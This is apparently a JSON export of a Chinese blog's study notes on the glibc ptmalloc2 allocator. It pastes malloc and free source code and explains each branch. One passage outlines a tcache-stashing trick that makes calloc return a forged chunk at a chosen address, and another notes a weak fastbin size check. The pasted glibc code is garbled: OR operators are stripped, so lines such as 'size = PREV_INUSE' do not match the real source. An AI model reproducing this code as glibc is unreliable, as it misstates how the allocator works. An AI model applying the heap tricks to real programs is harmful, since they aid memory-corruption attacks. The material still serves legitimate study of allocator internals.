Bin按照FIFO(先进先出)使用,假设现在SmallBin->bk=chunk0;chunk0->bk=chunk1,为chunk1伪造一个fake_chunk,并将fake_chunk->bk指向一个可控的地址(指可写也可被获取内容)\n        然后调用calloc函数,触发机制,将chunk0分配给用户,chunk1与chunk1->bk(即fake_chunk)被放入Tcache Bin中,且向fake_chunk->fd写入bin\n        然后用户再次请求一个同样大小的chunk时,由于Tcache Bin遵守LIFO(先进后出),因此将返回fake_chunk地址 ​\n插画ID:91536470\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅸ——从源代码理解free)","url":"/2021/08/07/glibc-9/","content":"​\n 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。\n        为了文章的可读性,笔者将使用“块引用”来表示分支情况,在没有特别标注的情况下(没有说明引用来源时),其中内容均为笔者所写\n源代码:void__libc_free (void *mem){ mstate ar_ptr; mchunkptr p; /* chunk corresponding to mem */ void (*hook) (void *, const void *) = atomic_forced_read (__free_hook); if (__builtin_expect (hook != NULL, 0)) { (*hook)(mem, RETURN_ADDRESS (0)); return; } if (mem == 0) /* free(0) has no effect */ return; p = mem2chunk (mem); if (chunk_is_mmapped (p)) /* release mmapped memory. */ { /* See if the dynamic brk/mmap threshold needs adjusting. Dumped fake mmapped chunks do not affect the threshold. */ if (!mp_.no_dyn_threshold && chunksize_nomask (p) > mp_.mmap_threshold && chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX && !DUMPED_MAIN_ARENA_CHUNK (p)) { mp_.mmap_threshold = chunksize (p); mp_.trim_threshold = 2 * mp_.mmap_threshold; LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2, mp_.mmap_threshold, mp_.trim_threshold); } munmap_chunk (p); return; } MAYBE_INIT_TCACHE (); ar_ptr = arena_for_chunk (p); _int_free (ar_ptr, p, 0);}\n\n\nstatic void_int_free (mstate av, mchunkptr p, int have_lock){ INTERNAL_SIZE_T size; /* its size */ mfastbinptr *fb; /* associated fastbin */ mchunkptr nextchunk; /* next contiguous chunk */ INTERNAL_SIZE_T nextsize; /* its size */ int nextinuse; /* true if nextchunk is used */ INTERNAL_SIZE_T prevsize; /* size of previous contiguous chunk */ mchunkptr bck; /* misc temp for linking */ mchunkptr fwd; /* misc temp for linking */ size = chunksize (p); /* Little security check which won't hurt performance: the allocator never wrapps around at the end of the address space. Therefore we can exclude some size values which might appear here by accident or by "design" from some intruder. */ if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0) __builtin_expect (misaligned_chunk (p), 0)) malloc_printerr ("free(): invalid pointer"); /* We know that each chunk is at least MINSIZE bytes in size or a multiple of MALLOC_ALIGNMENT. */ if (__glibc_unlikely (size < MINSIZE !aligned_OK (size))) malloc_printerr ("free(): invalid size"); check_inuse_chunk(av, p);#if USE_TCACHE { size_t tc_idx = csize2tidx (size); if (tcache != NULL && tc_idx < mp_.tcache_bins) {/* Check to see if it's already in the tcache. */tcache_entry *e = (tcache_entry *) chunk2mem (p);/* This test succeeds on double free. However, we don't 100% trust it (it also matches random payload data at a 1 in 2^<size_t> chance), so verify it's not an unlikely coincidence before aborting. */if (__glibc_unlikely (e->key == tcache)) { tcache_entry *tmp; LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx); for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next) if (tmp == e)malloc_printerr ("free(): double free detected in tcache 2"); /* If we get here, it was a coincidence. We've wasted a few cycles, but don't abort. */ }if (tcache->counts[tc_idx] < mp_.tcache_count) { tcache_put (p, tc_idx); return; } } }#endif /* If eligible, place chunk on a fastbin so it can be found and used quickly in malloc. */ if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())#if TRIM_FASTBINS /*If TRIM_FASTBINS set, don't place chunksbordering top into fastbins */ && (chunk_at_offset(p, size) != av->top)#endif ) { if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ, 0) __builtin_expect (chunksize (chunk_at_offset (p, size)) >= av->system_mem, 0)) {bool fail = true;/* We might not have a lock at this point and concurrent modifications of system_mem might result in a false positive. Redo the test after getting the lock. */if (!have_lock) { __libc_lock_lock (av->mutex); fail = (chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ chunksize (chunk_at_offset (p, size)) >= av->system_mem); __libc_lock_unlock (av->mutex); }if (fail) malloc_printerr ("free(): invalid next size (fast)"); } free_perturb (chunk2mem(p), size - 2 * SIZE_SZ); atomic_store_relaxed (&av->have_fastchunks, true); unsigned int idx = fastbin_index(size); fb = &fastbin (av, idx); /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ mchunkptr old = *fb, old2; if (SINGLE_THREAD_P) {/* Check that the top of the bin is not the record we are going to add (i.e., double free). */if (__builtin_expect (old == p, 0)) malloc_printerr ("double free or corruption (fasttop)");p->fd = old;*fb = p; } else do{ /* Check that the top of the bin is not the record we are going to add (i.e., double free). */ if (__builtin_expect (old == p, 0)) malloc_printerr ("double free or corruption (fasttop)"); p->fd = old2 = old;} while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2); /* Check that size of fastbin chunk at the top is the same as size of the chunk that we are adding. We can dereference OLD only if we have the lock, otherwise it might have already been allocated again. */ if (have_lock && old != NULL&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) malloc_printerr ("invalid fastbin entry (free)"); } /* Consolidate other non-mmapped chunks as they arrive. */ else if (!chunk_is_mmapped(p)) { /* If we're single-threaded, don't lock the arena. */ if (SINGLE_THREAD_P) have_lock = true; if (!have_lock) __libc_lock_lock (av->mutex); nextchunk = chunk_at_offset(p, size); /* Lightweight tests: check whether the block is already the top block. */ if (__glibc_unlikely (p == av->top)) malloc_printerr ("double free or corruption (top)"); /* Or whether the next chunk is beyond the boundaries of the arena. */ if (__builtin_expect (contiguous (av) && (char *) nextchunk >= ((char *) av->top + chunksize(av->top)), 0))malloc_printerr ("double free or corruption (out)"); /* Or whether the block is actually not marked used. */ if (__glibc_unlikely (!prev_inuse(nextchunk))) malloc_printerr ("double free or corruption (!prev)"); nextsize = chunksize(nextchunk); if (__builtin_expect (chunksize_nomask (nextchunk) <= 2 * SIZE_SZ, 0) __builtin_expect (nextsize >= av->system_mem, 0)) malloc_printerr ("free(): invalid next size (normal)"); free_perturb (chunk2mem(p), size - 2 * SIZE_SZ); /* consolidate backward */ if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating"); unlink_chunk (av, p); } if (nextchunk != av->top) { /* get and clear inuse bit */ nextinuse = inuse_bit_at_offset(nextchunk, nextsize); /* consolidate forward */ if (!nextinuse) {unlink_chunk (av, nextchunk);size += nextsize; } elseclear_inuse_bit_at_offset(nextchunk, 0); /*Place the chunk in unsorted chunk list. Chunks arenot placed into regular bins until after they havebeen given one chance to be used in malloc. */ bck = unsorted_chunks(av); fwd = bck->fd; if (__glibc_unlikely (fwd->bk != bck))malloc_printerr ("free(): corrupted unsorted chunks"); p->fd = fwd; p->bk = bck; if (!in_smallbin_range(size)){ p->fd_nextsize = NULL; p->bk_nextsize = NULL;} bck->fd = p; fwd->bk = p; set_head(p, size PREV_INUSE); set_foot(p, size); check_free_chunk(av, p); } /* If the chunk borders the current high end of memory, consolidate into top */ else { size += nextsize; set_head(p, size PREV_INUSE); av->top = p; check_chunk(av, p); } /* If freeing a large space, consolidate possibly-surrounding chunks. Then, if the total unused topmost memory exceeds trim threshold, ask malloc_trim to reduce top. Unless max_fast is 0, we don't know if there are fastbins bordering top, so we cannot tell for sure whether threshold has been reached unless fastbins are consolidated. But we don't want to consolidate on each free. As a compromise, consolidation is performed if FASTBIN_CONSOLIDATION_THRESHOLD is reached. */ if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) { if (atomic_load_relaxed (&av->have_fastchunks))malloc_consolidate(av); if (av == &main_arena) {#ifndef MORECORE_CANNOT_TRIMif ((unsigned long)(chunksize(av->top)) >= (unsigned long)(mp_.trim_threshold)) systrim(mp_.top_pad, av);#endif } else {/* Always try heap_trim(), even if the top chunk is not large, because the corresponding heap might go away. */heap_info *heap = heap_for_ptr(top(av));assert(heap->ar_ptr == av);heap_trim(heap, mp_.top_pad); } } if (!have_lock) __libc_lock_unlock (av->mutex); } /* If the chunk was allocated via mmap, release via munmap(). */ else { munmap_chunk (p); }}\n\n\n__libc_free:分支1:free(0)\n        函数直接返回\n\n分支2:该内存由mmap分配\n         通过些许安全性检查后调用munmap_chunk将内存块返回给系统\n\n分支3:否则\n        调用_int_free将内存块释放\n\n        (注:在该函数中会将指针参数p指向mem-0x10,再将该指针传入_int_free)\n_int_free:        首先进行一些必要的安全性检查\n分支1:使用Tcache\n        使用chunksize获取p的size,再用csize2tidx通过size定位到索引tc_idx\n        如果tc_idx合法,将指针e指向 p+0x10\n        判断e->key是否为tcache。若是,进入循环,遍历整个Tcache,若存在相同chunk则crash\n        否则通过安全性检查\n        如果该Tcache Bin链表未满,则调用tcache_put将chunk放入Tcache Bin中\n        函数结束\n\n分支2:符合Fast Bins范围 且 不与Top chunk相邻\n        获取对应的链表索引idx,表头fb,将fd中储存chunk作为old\n        将p作为新的头节点,old将成为第二个节点\n\n分支3:不由mmap分配 且 不属于 Fast Bins范围\n        nextchunk指向p的下一个chunk,nextsize为其size\n        检查p是否为链表的第一个节点,nextchunk不应超出合法地址,且nextsize的P标记应被置1,否则均会crash\n        如果chunk p的P标记被置0,则向上一个块合并,将合并后的块作为p,对其执行unlink_chunk\n\n分支3.1:如果下一个chunk不是Top chunk\n        标记其P位为0,表示p已经被释放。如果该块此前已经处于被释放状态,那么还会再向该块进行合并,并用unlink_chunk将其摘下\n        否则,只是将P位清零\n\n分支4:其他        将bck作为Unsorted Bin的表头,fwd为第一个节点\n        进行安全性检查\nfwd->bk != bck\n\n\n         将p挂入Unsorted Bin的第一个节点\n        如果p的size属于Large Bin,还要将fd_nextsize与bk_nextsize置NULL\n分支5:否则(即与Top chunk相邻时)\n        将p与Top chunk合并\n\n分支6:当释放的chunk极大时        指size大于FASTBIN_CONSOLIDATION_THRESHOLD时采用的分支\n#define FASTBIN_CONSOLIDATION_THRESHOLD (65536UL)\n\n\n         调用malloc_consolidate合并Fast Bin,并投放入Unsorted Bin中\n分支6.1:main_arena 且 Top_chunk大于一定值\n        使用systrim缩减Top chunk\n        (注:Top chunk的size大于trim_threshold时候触发缩减,这个值通常为128 * 1024 * 2)\n\n分支6.2:否则\n        调用heap_trim来缩减整个堆\n\n        (注:分支6中的两种缩减通常都是对额外开辟的堆进行缩减。一个线程在初始阶段只会有一个堆,只有当这个堆不够用时,它就会通过 sysmalloc 去开辟一个新堆,这个堆总是页对齐的,因此往往都比较大。而只有当这个新开辟的堆整个都不再被使用时,往往就会触发分支6来将整个堆释放掉)\n分支7:否则\n        则使用munmap_chunk来强制释放该chunk\n\n​\n插画ID:91567105_p0\n","categories":["Note","Ptmalloc2内存管理"],"tags":["glibc"]},{"title":"关于如何理解Glibc堆管理器(Ⅷ——从源代码理解malloc)","url":"/2021/08/07/glibc-8/","content":"​\n 本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。\n若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。\n        关于glibc堆管理器Ptmalloc2的实际讨论在前几节已经大致结束了,但是笔者仍觉得对其分配机制缺少完整的认识,于是最后两节将直接通过源代码来对其分配和释放规则进行分析\n        尽管笔者所用的Ubuntu18.04使用glibc-2.27,但笔者在对照源代码后发现,实际的操作和官方放出的glibc2.29更加接近,因此笔者将引用2.29版本中的源代码进行分析\n        为了文章的可读性,笔者将使用“块引用”来表示分支情况,在没有特别标注的情况下(没有说明引用来源时),其中内容均为笔者所写\n源代码:void *__libc_malloc (size_t bytes){ mstate ar_ptr; void *victim; void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0));#if USE_TCACHE /* int_free also calls request2size, be careful to not pad twice. */ size_t tbytes; checked_request2size (bytes, tbytes); size_t tc_idx = csize2tidx (tbytes); MAYBE_INIT_TCACHE (); DIAG_PUSH_NEEDS_COMMENT; if (tc_idx < mp_.tcache_bins /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */ && tcache && tcache->entries[tc_idx] != NULL) { return tcache_get (tc_idx); } DIAG_POP_NEEDS_COMMENT;#endif if (SINGLE_THREAD_P) { victim = _int_malloc (&main_arena, bytes); assert (!victim chunk_is_mmapped (mem2chunk (victim)) &main_arena == arena_for_chunk (mem2chunk (victim))); return victim; } arena_get (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); /* Retry with another arena only if we were able to find a usable arena before. */ if (!victim && ar_ptr != NULL) { LIBC_PROBE (memory_malloc_retry, 1, bytes); ar_ptr = arena_get_retry (ar_ptr, bytes); victim = _int_malloc (ar_ptr, bytes); } if (ar_ptr != NULL) __libc_lock_unlock (ar_ptr->mutex); assert (!victim chunk_is_mmapped (mem2chunk (victim)) ar_ptr == arena_for_chunk (mem2chunk (victim))); return victim;}\n\n\nstatic void *_int_malloc (mstate av, size_t bytes){ INTERNAL_SIZE_T nb; /* normalized request size */ unsigned int idx; /* associated bin index */ mbinptr bin; /* associated bin */ mchunkptr victim; /* inspected/selected chunk */ INTERNAL_SIZE_T size; /* its size */ int victim_index; /* its bin index */ mchunkptr remainder; /* remainder from a split */ unsigned long remainder_size; /* its size */ unsigned int block; /* bit map traverser */ unsigned int bit; /* bit map traverser */ unsigned int map; /* current word of binmap */ mchunkptr fwd; /* misc temp for linking */ mchunkptr bck; /* misc temp for linking */#if USE_TCACHE size_t tcache_unsorted_count; /* count of unsorted chunks processed */#endif /* Convert request size to internal form by adding SIZE_SZ bytes overhead plus possibly more to obtain necessary alignment and/or to obtain a size of at least MINSIZE, the smallest allocatable size. Also, checked_request2size traps (returning 0) request sizes that are so large that they wrap around zero when padded and aligned. */ checked_request2size (bytes, nb); /* There are no usable arenas. Fall back to sysmalloc to get a chunk from mmap. */ if (__glibc_unlikely (av == NULL)) { void *p = sysmalloc (nb, av); if (p != NULL)alloc_perturb (p, bytes); return p; } /* If the size qualifies as a fastbin, first check corresponding bin. This code is safe to execute even if av is not yet initialized, so we can try it without checking, which saves some time on this fast path. */#define REMOVE_FB(fb, victim, pp)\\ do\\ {\\ victim = pp;\\ if (victim == NULL)\\break;\\ }\\ while ((pp = catomic_compare_and_exchange_val_acq (fb, victim->fd, victim)) \\ != victim);\\ if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ())) { idx = fastbin_index (nb); mfastbinptr *fb = &fastbin (av, idx); mchunkptr pp; victim = *fb; if (victim != NULL){ if (SINGLE_THREAD_P) *fb = victim->fd; else REMOVE_FB (fb, pp, victim); if (__glibc_likely (victim != NULL)) { size_t victim_idx = fastbin_index (chunksize (victim)); if (__builtin_expect (victim_idx != idx, 0))malloc_printerr ("malloc(): memory corruption (fast)"); check_remalloced_chunk (av, victim, nb);#if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins){ mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = *fb) != NULL) { if (SINGLE_THREAD_P)*fb = tc_victim->fd; else{ REMOVE_FB (fb, pp, tc_victim); if (__glibc_unlikely (tc_victim == NULL)) break;} tcache_put (tc_victim, tc_idx); }}#endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; }} } /* If a small request, check regular bin. Since these "smallbins" hold one size each, no searching within bins is necessary. (For a large request, we need to wait until unsorted chunks are processed to find best fit. But for small ones, fits are exact anyway, so we can check now, which is faster.) */ if (in_smallbin_range (nb)) { idx = smallbin_index (nb); bin = bin_at (av, idx); if ((victim = last (bin)) != bin) { bck = victim->bk; if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): smallbin double linked list corrupted"); set_inuse_bit_at_offset (victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) set_non_main_arena (victim); check_malloced_chunk (av, victim, nb);#if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin){ if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena)set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; tcache_put (tc_victim, tc_idx); }} }#endif void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } /* If this is a large request, consolidate fastbins before continuing. While it might look excessive to kill all fastbins before even seeing if there is space available, this avoids fragmentation problems normally associated with fastbins. Also, in practice, programs tend to have runs of either small or large requests, but less often mixtures, so consolidation is not invoked all that often in most programs. And the programs that it is called frequently in otherwise tend to fragment. */ else { idx = largebin_index (nb); if (atomic_load_relaxed (&av->have_fastchunks)) malloc_consolidate (av); } /* Process recently freed or remaindered chunks, taking one only if it is exact fit, or, if this a small request, the chunk is remainder from the most recent non-exact fit. Place other traversed chunks in bins. Note that this step is the only place in any routine where chunks are placed in bins. The outer loop here is needed because we might not realize until near the end of malloc that we should have consolidated, so must do so and retry. This happens at most once, and only when we would otherwise need to expand memory to service a "small" request. */#if USE_TCACHE INTERNAL_SIZE_T tcache_nb = 0; size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) tcache_nb = nb; int return_cached = 0; tcache_unsorted_count = 0;#endif for (;; ) { int iters = 0; while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { bck = victim->bk; size = chunksize (victim); mchunkptr next = chunk_at_offset (victim, size); if (__glibc_unlikely (size <= 2 * SIZE_SZ) __glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): invalid size (unsorted)"); if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ) __glibc_unlikely (chunksize_nomask (next) > av->system_mem)) malloc_printerr ("malloc(): invalid next size (unsorted)"); if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size)) malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)"); if (__glibc_unlikely (bck->fd != victim) __glibc_unlikely (victim->fd != unsorted_chunks (av))) malloc_printerr ("malloc(): unsorted double linked list corrupted"); if (__glibc_unlikely (prev_inuse (next))) malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)"); /* If a small request, try to use last remainder if it is the only chunk in unsorted bin. This helps promote locality for runs of consecutive small requests. This is the only exception to best-fit, and applies only when there is no exact fit for a small chunk. */ if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) { /* split and reattach remainder */ remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder; av->last_remainder = remainder; remainder->bk = remainder->fd = unsorted_chunks (av); if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb PREV_INUSE (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size PREV_INUSE); set_foot (remainder, remainder_size); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* remove from unsorted list */ if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3"); unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); /* Take now instead of binning if exact fit */ if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena)set_non_main_arena (victim);#if USE_TCACHE /* Fill cache first, return to user only if cache fills. We may return one of these chunks later. */ if (tcache_nb && tcache->counts[tc_idx] < mp_.tcache_count){ tcache_put (victim, tc_idx); return_cached = 1; continue;} else{#endif check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p;#if USE_TCACHE}#endif } /* place chunk in bin */ if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; /* maintain large bins in sorted order */ if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size = PREV_INUSE; /* if smaller than smallest, bypass loop below */ assert (chunk_main_arena (bck->bk)); if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert (chunk_main_arena (fwd)); while ((unsigned long) size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; assert (chunk_main_arena (fwd)); } if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd)) /* Always insert in the second position. */ fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;#if USE_TCACHE /* If we've processed as many chunks as we're allowed while filling the cache, return one of the cached ones. */ ++tcache_unsorted_count; if (return_cached && mp_.tcache_unsorted_limit > 0 && tcache_unsorted_count > mp_.tcache_unsorted_limit){ return tcache_get (tc_idx);}#endif#define MAX_ITERS 10000 if (++iters >= MAX_ITERS) break; }#if USE_TCACHE /* If all the small chunks we found ended up cached, return one now. */ if (return_cached){ return tcache_get (tc_idx);}#endif /* If a large request, scan through the chunks of current bin in sorted order to find smallest that fits. Use the skip list for this. */ if (!in_smallbin_range (nb)) { bin = bin_at (av, idx); /* skip scan if empty or largest chunk is too small */ if ((victim = first (bin)) != bin && (unsigned long) chunksize_nomask (victim) >= (unsigned long) (nb)) { victim = victim->bk_nextsize; while (((unsigned long) (size = chunksize (victim)) < (unsigned long) (nb))) victim = victim->bk_nextsize; /* Avoid removing the first entry for a size so that the skip list does not have to be rerouted. */ if (victim != last (bin) && chunksize_nomask (victim) == chunksize_nomask (victim->fd)) victim = victim->fd; remainder_size = size - nb; unlink_chunk (av, victim); /* Exhaust */ if (remainder_size < MINSIZE) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) set_non_main_arena (victim); } /* Split */ else { remainder = chunk_at_offset (victim, nb); /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks (av); fwd = bck->fd; if (__glibc_unlikely (fwd->bk != bck)) malloc_printerr ("malloc(): corrupted unsorted chunks"); remainder->bk = bck; remainder->fd = fwd; bck->fd = remainder; fwd->bk = remainder; if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb PREV_INUSE (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } /* Search for a chunk by scanning bins, starting with next largest bin. This search is strictly by best-fit; i.e., the smallest (with ties going to approximately the least recently used) chunk that fits is selected. The bitmap avoids needing to check that most blocks are nonempty. The particular case of skipping all bins during warm-up phases when no chunks have been returned yet is faster than it might look. */ ++idx; bin = bin_at (av, idx); block = idx2block (idx); map = av->binmap[block]; bit = idx2bit (idx); for (;; ) { /* Skip rest of block if there are no more set bits in this block. */ if (bit > map bit == 0) { do { if (++block >= BINMAPSIZE) /* out of bins */ goto use_top; } while ((map = av->binmap[block]) == 0); bin = bin_at (av, (block << BINMAPSHIFT)); bit = 1; } /* Advance to bin with set bit. There must be one. */ while ((bit & map) == 0) { bin = next_bin (bin); bit <<= 1; assert (bit != 0); } /* Inspect the bin. It is likely to be non-empty */ victim = last (bin); /* If a false alarm (empty bin), clear the bit. */ if (victim == bin) { av->binmap[block] = map &= ~bit; /* Write through */ bin = next_bin (bin); bit <<= 1; } else { size = chunksize (victim); /* We know the first chunk in this bin is big enough to use. */ assert ((unsigned long) (size) >= (unsigned long) (nb)); remainder_size = size - nb; /* unlink */ unlink_chunk (av, victim); /* Exhaust */ if (remainder_size < MINSIZE) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) set_non_main_arena (victim); } /* Split */ else { remainder = chunk_at_offset (victim, nb); /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks (av); fwd = bck->fd; if (__glibc_unlikely (fwd->bk != bck)) malloc_printerr ("malloc(): corrupted unsorted chunks 2"); remainder->bk = bck; remainder->fd = fwd; bck->fd = remainder; fwd->bk = remainder; /* advertise as last remainder */ if (in_smallbin_range (nb)) av->last_remainder = remainder; if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb PREV_INUSE (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } } use_top: /* If large enough, split off the chunk bordering the end of memory (held in av->top). Note that this is in accord with the best-fit search rule. In effect, av->top is treated as larger (and thus less well fitting) than any other available chunk since it can be extended to be as large as necessary (up to system limitations). We require that av->top always exists (i.e., has size >= MINSIZE) after initialization, so if it would otherwise be exhausted by current request, it is replenished. (The main reason for ensuring it exists is that we may need MINSIZE space to put in fenceposts in sysmalloc.) */ victim = av->top; size = chunksize (victim); if (__glibc_unlikely (size > av->system_mem)) malloc_printerr ("malloc(): corrupted top size"); if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset (victim, nb); av->top = remainder; set_head (victim, nb PREV_INUSE (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size PREV_INUSE); check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } /* When we are using atomic ops to free fast chunks we can get here for all block sizes. */ else if (atomic_load_relaxed (&av->have_fastchunks)) { malloc_consolidate (av); /* restore original bin index */ if (in_smallbin_range (nb)) idx = smallbin_index (nb); else idx = largebin_index (nb); } /* Otherwise, relay to handle system-dependent cases */ else { void *p = sysmalloc (nb, av); if (p != NULL) alloc_perturb (p, bytes); return p; } }}\n\n\n         代码量较大,由于接下来大多为文字介绍,如果不对照代码可能有些晦涩,建议读者自行下载源代码或是拷贝上述代码以方便对照\n__libc_malloc:        malloc函数在被调用时,会使用__libc_malloc函数进行一定的初始化功能,然后再调用_int_malloc函数进行内存块分配\n        而管理器会调用malloc_hook_ini函数对堆进行初始化,然后回调__libc_malloc,但这并不是我们关注的重点,因此这里不会过多介绍\n分支:如果使用Tcache\n        根据请求bytes大小的空间,调用checked_request2size宏定义将其转换为内存块的大小tbytes,再通过csize2tidx获取对应的Bins结构索引\n        如果Tcache还未初始化,则用MAYBE_INIT_TCACHE初始化;否则不执行\n        检查tcache索引tc_idx是否合法,以及该索引中是否有空闲块。若有,则直接取出并返回给用户\n\n        否则,判断请求是否由主线程发起。若是,调用_int_malloc申请内存块,并返回给用户\n        否则,获取当前线程arena存入ar_ptr,调用_int_malloc申请内存块\n        如果当前arena正被其他线程使用,则_int_malloc将会返回NULL,调用失败,直到有空闲的arena出现时,重新调用_int_malloc并返回给用户\n_int_malloc:        先用checked_request2size将请求的bytes转换为chunk块的大小nb\n分支 1:\n        如果arena空间不足(没有可用的arena),调用sysmalloc通过mmap或者brk来分配新堆块,如果成功,就直接返回给用户\n\n         否则,通常此时\npp==NULL\n\n\n        成立,因此不执行REMOVE_FB,其作用是将pp从Bin中取出\n分支 2:Fast Bin范围内\n        如果块的大小能由Fast Bins提供服务(即在sizeof(size_t)的返回值范围内),根据nb获取对应Bin的链表索引idx\n        使用fastbin()宏定义来获取该链表的表头,指针为fd\n        将第一个节点作为victim,如果是单线程情况,则向表头里放入victim的下一个\n        如果victim取到了空闲块,获取所在链表索引victim_idx,并做一系列检查\n 且函数不返回,继续往下判断分支2.1\n注:FastBin的安全性检测中,存在对ChunkSize的检测,即要求该bin中的chunk符合该bin的规范。但这个检测并非强对比,例如:Size=7f的chunk会被放在0x70的bin中而不报错\n\n分支 2.1:使用Tcache\n        根据nb获取对应链表索引tc_idx,如果获取的内容合法(即索引可行的范围),将FastBin表头中的节点fd作为tc_victim\n        循环的将tc_victim放入Tcache Bin中\n        最后将victim(也就是最早的Fast Bin的第一个节点)返回给用户\n 函数结束\n\n分支2.2:否则\n        直接将victim返回给用户\n 函数结束\n\n分支3:Small Bin范围内        在Fast Bin没能找到合适块的情况下(比如对应链表为空等等),将进入该分支\n        通过smallbin_index获取链表索引idx,bin_at获取链表表头bin\n分支3.1:链表非空        此时victim将成为当前链表最后一个,如下为其宏定义操作\n#define last(b) ((b)->bk)\n\n\n        令bck为链表倒数第二个,判断bck->fd是否为victim(出于安全性的检查)\n        若成功,令链表最后一个为bck,而bck->fd为表头bin\n    且函数不返回,继续往下判断分支3.2\n分支3.2:使用Tcache        